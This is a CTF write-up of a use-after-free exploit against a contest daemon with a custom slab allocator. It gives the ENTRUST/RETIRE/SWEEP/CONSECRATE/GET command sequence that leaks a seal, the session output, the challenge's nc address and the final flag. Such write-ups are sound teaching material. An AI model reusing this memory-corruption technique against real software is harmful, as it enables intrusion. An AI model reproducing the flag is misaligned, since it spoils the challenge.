Siddhashrama: The Unbroken Vigil

By Team Cryptonite · 1 min read

About the CTF: Pinaka CTF

Reverse a stripped concurrent daemon with a custom slab allocator. Find the deterministic UAF seam in ward hand-off/renewal, craft a memory primitive, and complete the restricted proof.

Siddhashrama: The Unbroken Vigil

**Pinaka CTF 2026** · Binary exploitation · Team Cryptonite · All 44 Pinaka write-ups


Reverse a stripped concurrent daemon with a custom slab allocator. Find the deterministic UAF seam in ward hand-off/renewal, craft a memory primitive, and complete the restricted proof. Connection: nc 130.210.48.10 9002

Solve

So basically, stale handle in the ward arena lets GET read the guardian onject that CONSECRATE places in the freed slot. The guardian starts with an 8 byte seal.

Running PROVE with that seal gives the flag.

basically, ward assigns a slot

then entrust will OR the 0xE flag with the 32 bit flags field

then retire will or with 0x1

this will make it sweep eligible

sweep will free the slot and free it, but then it returns a stale pointer which can be reclaimed by consecrate

consecrate will instlal guardian object

then get 0 will leak the bytes

we then prove with PROVE 0

We just need to pass this check:

Siddhashrama - The Unbroken Vigil: step screenshot

Local Solve:


./run.sh
[run] talking to vigil over stdin/stdout - type HELP for commands, QUIT to leave.
SIDDHASHRAMA VIGIL v1.0 - the unbroken watch over Vishwamitra's yajna.
The Mandala holds 256 ward-slots. Commands (one per line):
  WARD <name>            arm a new protective ward        -> handle
  SET <h> <hexbytes>     inscribe the ward's mantra (<=40 bytes)
  GET <h>                read back the ward's mantra
  ENTRUST <h>            hand the ward to the vigil plane
  RETIRE <h>             mark the ward spent
  SWEEP                  vigil reclaims retired, entrusted wards
  CONSECRATE             vigil renews the celestial guardian
  RELEASE <h>            control-plane frees a ward (invalidates handle)
  PROVE <h> <seal_hex>   present a guardian to complete the vigil's proof
  STATUS | HELP | QUIT
WARD
OK ward id=1 handle=0 slot=0
ENTRUST 0
OK entrusted handle=0 slot=0
RETIRE 0
OK retired handle=0 slot=0
SWEEP
OK swept=1
CONSECRATE
OK consecrated slot=0 (guardian renewed)
GET 0
OK mantra handle=0 slot=0 data=2760ed249975fc3e756e62726f6b656e2d766967696c2d677561726469616e000000000000000000
PROVE 0 2760ed249975fc3e756e62726f6b656e2d766967696c2d677561726469616e
PROVEN the unbroken vigil acknowledges you, guardian of the yajna
FLAG PINAKA{local-practice-A06-set-PINAKA_FLAG-in-env}

Putting this in nc gave the flag

RELEASE won't work because it will clear the handle table entry. we need to go through ENTRUST + RETIRE + SWEEP to prove guardian

Flag:


PINAKA{siddhashrama_the_vigil_has_one_unseen_seam}

Read this post on CyberHx →